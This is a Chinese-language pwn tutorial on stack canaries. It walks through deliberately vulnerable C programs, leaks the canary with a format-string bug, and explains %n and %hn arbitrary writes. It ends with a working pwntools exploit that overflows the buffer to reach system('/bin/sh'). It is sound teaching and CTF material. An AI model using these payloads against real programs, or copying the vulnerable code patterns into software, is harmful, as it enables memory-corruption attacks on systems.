Canary保护及突破

0x 01 Canary保护原理及绕过

canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致。通过泄露出canary进行绕过。

0x 02 例子分析

源代码:

1
2
3
4
5
6
7
8
#include<stdio.h>
int main()
{
char str[0x20];
read(0,str,0x50);
printf("My name is %s."); //printf期待下一个参数,而我们只传了一个参数,但是printf并不知道。会继续向高地址取四字节当成下一个参数
return 0;
}

汇编代码:(添加Canary保护编译结果)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x0804849b <+0>:	lea    ecx,[esp+0x4]    //保护esp,地址中存储的返回地址数据没有变
0x0804849f <+4>: and esp,0xfffffff0 //内存对齐
0x080484a2 <+7>: push DWORD PTR [ecx-0x4] //保护esp
0x080484a5 <+10>: push ebp
0x080484a6 <+11>: mov ebp,esp
0x080484a8 <+13>: push ecx
0x080484a9 <+14>: sub esp,0x34
0x080484ac <+17>: mov eax,gs:0x14 //从gs:0x14的位置取出carry,复制给eax寄存器
0x080484b2 <+23>: mov DWORD PTR [ebp-0xc],eax //插入到ebp前面
0x080484b5 <+26>: xor eax,eax
0x080484b7 <+28>: sub esp,0x4
0x080484ba <+31>: push 0x50
0x080484bc <+33>: lea eax,[ebp-0x2c]
0x080484bf <+36>: push eax
0x080484c0 <+37>: push 0x0
0x080484c2 <+39>: call 0x8048350 <read@plt>
0x080484c7 <+44>: add esp,0x10
0x080484ca <+47>: sub esp,0xc
0x080484cd <+50>: push 0x8048580
0x080484d2 <+55>: call 0x8048360 <printf@plt>
0x080484d7 <+60>: add esp,0x10
0x080484da <+63>: mov eax,0x0
0x080484df <+68>: mov edx,DWORD PTR [ebp-0xc] //取出carry与gs:0x14进行比较
0x080484e2 <+71>: xor edx,DWORD PTR gs:0x14
0x080484e9 <+78>: je 0x80484f0 <main+85>
0x080484eb <+80>: call 0x8048370 <__stack_chk_fail@plt>
0x080484f0 <+85>: mov ecx,DWORD PTR [ebp-0x4]
0x080484f3 <+88>: leave
0x080484f4 <+89>: lea esp,[ecx-0x4]
0x080484f7 <+92>: ret

常用输出格式:

1
2
3
4
5
6
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数

这里需要注意一点,%s和%x的区别,

1
2
3
4
5
6
     Stackframe
+------------------+
| parameter1 | <- ESP (pointer to "%s" or "%x")
+------------------+
| 0xdeadbeef |
+------------------+

当parameter1为%s的地址时,printf会将0xdeadbeef作为地址,取0xdeadbeef指向的字符串填入%s的位置并输出;当parameter1为%x的地址时,printf会直接将0xdeadbeef填入%x的位置,也就是直接输出0xdeadbeef。

  • 例子二

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
printf(str);
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}

此时,我们需要调试程序,让程序断在printf。查找canary距离printf第一个参数有多远,函数断在printf后栈中数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gdb-peda$ stack 0x28
0000| 0xffffd620 --> 0xffffd63c ("aaa\n\377\377\377\377/")
0004| 0xffffd624 --> 0xffffd63c ("aaa\n\377\377\377\377/")
0008| 0xffffd628 --> 0x50 ('P')
0012| 0xffffd62c --> 0x804828a ("__libc_start_main")
0016| 0xffffd630 --> 0x0
0020| 0xffffd634 --> 0xffffd6d4 --> 0xb21e8355
0024| 0xffffd638 --> 0xf7fb5000 --> 0x1b1db0
0028| 0xffffd63c ("aaa\n\377\377\377\377/")
0032| 0xffffd640 --> 0xffffffff
0036| 0xffffd644 --> 0x2f ('/')
0040| 0xffffd648 --> 0xf7e0fdc8 --> 0x2b76 ('v+')
0044| 0xffffd64c --> 0xf7fd31b0 --> 0xf7e03000 --> 0x464c457f
0048| 0xffffd650 --> 0x8000
0052| 0xffffd654 --> 0xf7fb5000 --> 0x1b1db0
0056| 0xffffd658 --> 0xf7fb3244 --> 0xf7e1b020 (<_IO_check_libio>: )
0060| 0xffffd65c --> 0xc4793000
0064| 0xffffd660 --> 0x1
0068| 0xffffd664 --> 0x1
0072| 0xffffd668 --> 0xffffd688 --> 0x0
0076| 0xffffd66c --> 0x804857b (<main+33>: mov eax,0x0)
0080| 0xffffd670 --> 0x1
0084| 0xffffd674 --> 0xffffd734 --> 0xffffd86b ("/home/hw/桌面/PWN/02")
0088| 0xffffd678 --> 0xffffd73c --> 0xffffd882 ("TERM=xterm-256color")
0092| 0xffffd67c --> 0xc4793000
0096| 0xffffd680 --> 0xf7fb53dc --> 0xf7fb61e0 --> 0x0

打印输出一下carry的信息的地址

1
2
gdb-peda$ p $ebp-0xc
$2 = (void *) 0xffffd65c

距离第一个参数有60字节,也就是15个参数的长度,所以要读canary我们的payload为%15x。

1.任意地址读:

根据先前的知识,我们只需要把最后一个%08x换成%s就可以读取0x61616161地址的数据,注意这个0x61616161是我们可以控制的内容,就是我们输入的前四个字节且这四个字节就是读取的地址。所以,可以通过替换这个payload的前四个字节完成任意地址读。

这个payload也可以简化为aaaa%7$s,这里的7$的意思就是取printf的第七个参数(0x61616161),如果这里要用等宽输出的话payload就变成这样了aaaa%7$08x,结果会输出aaaa61616161。

2.任意地址写:

我们先了解一下%n的作用。%n是将输出的字符的个数写入到内存中。

根据上述知识,当payload为aaaa%7$n时,输出的字符数量为4,程序会将4写入0x61616161指向的内存中。如果我们需要写更大的数就得用等宽输出来实现了。假设,我们需要向0x61616161写入100,则payload就变成了aaaa%7$0100n。

任意地址写还有一个问题就是,如果我们要写一个很大的数,比如要将0x8048320写入0x61616161,这个16进制对应的十进制数为134513440,也就是说需要在输出134513440个字符。不用多想,程序肯定会崩溃。

如果遇到这种情况怎么办呢?我们可以通过%hn来两字节两字节写入。在上面的例子中,我们将0x8048320拆分为高两字节0x804和低两字节0x8320,将0x804也就是十进制2052写入0x61616161 – 0x61616162;将0x8320也就是十进制33568写入0x61616163 – 0x61616164。分两次写入就可以完成大数的写入了。

参考:https://www.anquanke.com/post/id/85203

泄露carry数据:

1
2
3
root@hw-virtual-machine:/home/hw/桌面/PWN# ./02
%15$08x
cdb3e300

分析:0xffffd63c地址是第一个参数数据的实际地址,0xffffd65c是carry的地址,偏移量是32字节,0xffffd668是函数的返回地址,偏移量是12个字节

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
elf = ELF("./c")
p = process("./c")
shell_addr = elf.symbols["exploit"]
payload = "%15$08x"
p.sendline(payload)
ret = p.recv()
canary = ret[:8]
print canary

payload = 'a' * 32
payload += (canary.decode("hex"))[::-1] # 小端模式反转
payload += 'a' * 12
payload += p32(shell_addr)

p.send(payload)
p.interactive()

参考资料:大小端的判断及转换